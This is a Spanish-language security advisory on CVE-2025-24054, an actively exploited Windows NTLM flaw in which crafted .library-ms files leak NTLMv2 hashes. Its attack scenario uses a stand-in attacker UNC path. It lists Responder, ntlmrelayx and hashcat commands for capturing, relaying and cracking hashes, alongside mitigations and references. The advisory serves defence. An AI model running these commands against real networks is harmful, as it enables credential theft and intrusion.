LUMA

BOLETÍN DE SEGURIDAD CIBERNÉTICA

22 de Abril, 2025

TLP: CLEAR

Vulnerabilidad en NTLM - robo de credenciales sin interacción del usuario – CVE-2025-24054

Impacto:
Alto – 8.1

CVE:
CVE-2025-24054

Descripción:

La vulnerabilidad CVE-2025-24054, actualmente explotada activamente, permite el robo de hashes NTLM (Una tecnología de Microsoft para validar usuarios y servicios en redes Windows) en sistemas Windows sin que el usuario abra o ejecute archivos. Basta con descargar un archivo desde un recurso remoto especialmente diseñado para que las credenciales sean comprometidas.

Detalles técnicos de la Vulnerabilidad:

Esta falla, clasificada como una vulnerabilidad de suplantación de identidad (spoofing), afecta al protocolo NTLM de Microsoft Windows y permite la divulgación de hashes NTLMv2 al descargar archivos que apuntan a rutas UNC (Es un formato estandarizado para especificar la ubicación de recursos compartidos en red en sistemas Windows) remotas. El fallo, registrado como CVE-2025-24054, se debe a un control externo inadecuado del nombre de archivo o ruta (CWE-73) y ha sido calificado con una puntuación CVSS (Evalúa la gravedad de una vulnerabilidad de seguridad en sistemas informático) de 8.1. Aunque Microsoft ya publicó un parche correctivo en el «Patch Tuesday» del mes anterior, su explotación activa fue confirmada el 19 de marzo de 2025 por Check Point Research. El protocolo NTLM, que fue oficialmente reemplazado por Kerberos en 2024, ha sido durante años un blanco común para ataques como pass-the-hash y relay attacks. Esta vulnerabilidad permite a un atacante no autenticado suplantar identidad a nivel de red manipulando archivos tipo. library-ms. Según Microsoft, el ataque requiere una mínima interacción por parte del usuario, sin necesidad de que abra ni ejecute el archivo comprometido.

CÓMO SE EXPLOTA (ESCENARIO DE ATAQUE)

El atacante aloja un archivo que referencia un recurso UNC (Es un formato estandarizado para especificar la ubicación de recursos compartidos en red en sistemas Windows.) como \\attacker[.]com\share\file.jpg. La víctima lo descarga (desde navegador o correo). Windows intenta obtener metadatos del archivo y, en ese proceso, envía automáticamente las credenciales NTLMv2, las cuales el atacante captura.

HERRAMIENTAS UTILIZADAS POR ATACANTES

- Responder:
  sudo responder -I eth0
- Impacket:
  ntlmrelayx.py -smb2support -t ldap://DC_IP
- Hashcat:
  hashcat -m 5600 captured_ntlm_hashes.txt rockyou.txt
- Otros:
  evil-winrm, smbserver.py, phishery

MEDIDAS DE MITIGACIÓN RECOMENDADAS

- Bloquear tráfico SMB saliente (puertos 445 y 139)
- Deshabilitar NTLM mediante políticas de grupo
- Aplicar actualizaciones de seguridad de Microsoft
- Monitorear el evento ID 4625 de fallos de autenticación
- Evitar la resolución automática de rutas UNC en software no confiable

CONTEXTO Y ANTECEDENTES

CVE-2025-24054 es una variante de CVE-2024-43451, previamente utilizada por actores como UAC-0194 y Blind Eagle. Se ha detectado su uso en campañas activas contra entidades de Polonia, Rumania, Ucrania y Colombia. Su baja necesidad de interacción lo convierte en un vector de ataque crítico.

IMPACTO EN ORGANIZACIONES Y RIESGOS ASOCIADOS

Organizaciones con NTLM habilitado están expuestas al robo silencioso de credenciales. Estas pueden ser utilizadas para movimiento lateral, escalamiento de privilegios o ataques de relay dentro de redes corporativas. La persistencia de NTLM eleva el riesgo en entornos no actualizados.

ACCIONES RECOMENDADAS POR CISA Y MICROSOFT

- CISA incluyó esta CVE en su catálogo KEV el 17 de abril de 2025.
- Fecha límite para parcheo en agencias federales: 8 de mayo de 2025.
- Microsoft publicó el parche en su Patch Tuesday de marzo 2025. Se recomienda su inmediata aplicación y desactivación de NTLM.

REFERENCIAS Y ENLACES OFICIALES

- https://nvd.nist.gov/vuln/detail/CVE-2025-24054
- https://unaaldia.hispasec.com/2025/04/alerta-en-windows-vulnerabilidad-ntlm-cve-2025-24054-explotada-para-robo-de-hashes.html
- https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-24054
- https://research.checkpoint.com/2025/cve-2025-24054-ntlm-exploit-in-the-wild/
- https://thehackernews.com/2025/04/cve-2025-24054-under-active.html